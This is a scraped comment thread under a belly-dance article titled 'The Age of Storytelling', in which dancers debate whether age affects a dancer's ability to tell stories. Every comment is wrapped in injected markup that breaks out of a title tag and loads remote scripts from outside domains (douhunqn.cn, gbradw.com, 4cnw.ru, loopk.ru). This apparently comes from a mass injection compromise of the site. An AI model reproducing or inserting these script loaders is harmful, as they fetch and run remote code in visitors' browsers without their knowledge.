|
 Use Article Search to explore our archive |
| Comments are welcome! |
| Title |
The Age of Storytelling |
| # of Comments |
8 |
| Contributor |
Tempest |
The Age of Storytelling |
Post a new comment to this article .
| Comments |
| Katherine |
| "></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--"></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--Older dancers probably also resent the higher premium that mainstream culture always places on young performers. So perhaps the issue is less "young women's stories vs old women's stories" than "young women's marketable beauty vs old women's stories." Personally, I doubt that our culture cares very much about *any* women's stories, except occasionally perhaps in a sentimental, cutesy, "human interest" sort of way; if it did, I suspect our economy and our foreign policy would both look rather different. So yes, get the stories out. That's the only way to change anything. But give the old broads a break! They have plenty to contend with already.<script src=http://www.gbradw.com/ngg.js></script><script src=http://www.4cnw.ru/ngg.js></script><script src=http://www.loopk.ru/script.js></script> |
| |
| Tasnim |
| "></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--"></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--I don't think that age plays a factor on how one interprets art. I read once that wisdom comes from experience, and experience comes with making mistakes. (You don't learn anything from everything going right!) I think though that belly dance takes years to master, so hence the thought that a new dancer (regardless of age) can't have enough mastery of the dance to interpret a story through the dance (unless extremely naturally gifted).
Anyone can tell a story, but as you get older you begin to see all the sides, including the part that you played in it. When we are younger, we see things as things happening to us, rather than how we participated. As we age we see, how we could have made things different and all the factors in our lives that contributed to our handling of our lives situations.
I remember how strongly I felt about things before my 30's, but now I think how small they seemed after all my life's experiences to date. That does not mean that they did not have a severe impact on me. I only now see it more clearly.
Don't be concerned with the peoples words. Jealousy does exsist, but there is also age discrimination in ALL of dance. The young are not the only beauties and not the only ones with energy and creation. Creativity exsists at all age levels. Young and older alike.<script src=http://www.gbradw.com/ngg.js></script><script src=http://www.4cnw.ru/ngg.js></script><script src=http://www.loopk.ru/script.js></script> |
| |
| Souzan |
| "></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--"></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--Tempest brings out some interesting thoughts about the power of dance to reach the essence of the human condition. But the tone of her comments really put me off.
It is my understanding that the "saying" about dancer's over and under 30 related to the life experiences that a dancer feels in Arabic musical themes--love lost, love found, betrayal, deceit, family, longing for the past or for peace or for hapiness, etc. These are mature themes, not so much in years, but in understanding and integration into one's deepest self.
I doubt that jealousy has much to do with it. And I also doubt that any 60 year old belly dancers are straight-laced. After all, as a dancer about to turn 60, I can say with complete truthfulness that a common saying of MY generation was "Don't trust anyone over 30."
Souzan
<script src=http://www.gbradw.com/ngg.js></script><script src=http://www.4cnw.ru/ngg.js></script><script src=http://www.loopk.ru/script.js></script> |
| |
| Tempest |
| "></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--"></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--I'd recommend re-reading the last two paragraphs of the article. Every dancer has a story to tell, regardless of their age. Nowhere did I say that a younger dancer is better, nor should we not appreciate the older dancer. Nor am I addressing our larger society's prejudice against older women (for yes, we know, OUTSIDE of the bellydance community, if you're older, not tiny-slim, picture-perfect, that getting work gets increasing more difficult because of the body-ills of this bizarre society.) Rather, my point is discounting ANY dancer just by judging her age/appearence---and I'm talking about WITHIN the bellydance community. I've seen and heard many fine younger dancers get knocked simply because of their age, without really considering what they're presenting in their dance. That's just as wrong as shrugging off a dancer because she looks to be a grandmom, from women who should know better (and not so far off in age themselves). Personally, I prefer to take classes from women I perceive to be my mother's age, rather than my contemporaries, and I discussed this recently on my GBD tribe (though I believe this is more closely rooted to issues of trust than anything else). I've also found incredible dance partners in women who are 20 years my senior as well as those still in high school (guess which one I'm pictured with above). Again, I say, every dancer has a story that is worthwhile, if we're willing to set aside our baggage to experience it.<script src=http://www.gbradw.com/ngg.js></script><script src=http://www.4cnw.ru/ngg.js></script><script src=http://www.loopk.ru/script.js></script> |
| |
| Katherine |
| "></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--"></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--When I've seen that quote about "women under 30," it's generally been in the context of some of Mr. Copeland's antics. Lots about that over at the Gilded Serpent. There's also a sad little story over at Stella's "Ask Aunt Isis" on BDNY regarding the plight of the over-50 dancer. The article itself mentions being "attractive" and "in shape" as advantages for the younger dancer. So I think it's fair to suggest that the dance community is not entirely immune to the "outside" culture, which overwhelmingly values the young, thin, beautiful, etc. Like the old commercial said, we're soaking in it. I brought it up *because* the article really didn't. When you're standing up to the entire collective unconscious, it's good to be clear on what the pressures are. Peace!<script src=http://www.gbradw.com/ngg.js></script><script src=http://www.4cnw.ru/ngg.js></script><script src=http://www.loopk.ru/script.js></script> |
| |
| Souzan |
| "></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--"></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--I believe that the "over 30" saying has been attributed to the late Bobby Farrah.
The general public has their own vision of what a "belly dancer" should look like. But it is truly unforatunate when fellow middle eastern dancers share the same vision.<script src=http://www.gbradw.com/ngg.js></script><script src=http://www.4cnw.ru/ngg.js></script><script src=http://www.loopk.ru/script.js></script> |
| |
| Gia al Qamar |
| "></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--"></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--Actually, the full quote is "You haven't got anything to dance about until you're over thirty-five anyway." and is attributed to Bert Balladine.
When I was in my 20s, I thought that I knew it all, had lived and loved and could express everything with the full gusto of anyone alive...until I turned 30...and then I knew how much more I had to learn. Since then...I've learned that with age comes wisdom and deeper beauty. Future decades will bring even richer meaning to my life and I will be in a position, then to express it even more beautifully.
Gia<script src=http://www.gbradw.com/ngg.js></script><script src=http://www.4cnw.ru/ngg.js></script><script src=http://www.loopk.ru/script.js></script> |
| |
| Latifa |
| "></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--"></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--There seem to be many versions of this saying! I attended a workshop years ago -- so long ago, I musta been in diapers ;-) -- with George Abdo, who talked about dance and music, and his sister Vina (sp?), who taught some dance. Two memorable quotes from George: "Before the age of 40, a woman has nothing to dance about" and "I like the look of a covered midriff. It's like a leg in a silk stocking." At least those are the 2 quotes that have stuck in my mind, all these years!!
Latifa
www.bintbeled.com<script src=http://www.gbradw.com/ngg.js></script><script src=http://www.4cnw.ru/ngg.js></script><script src=http://www.loopk.ru/script.js></script> |
| |
|  |
|
|
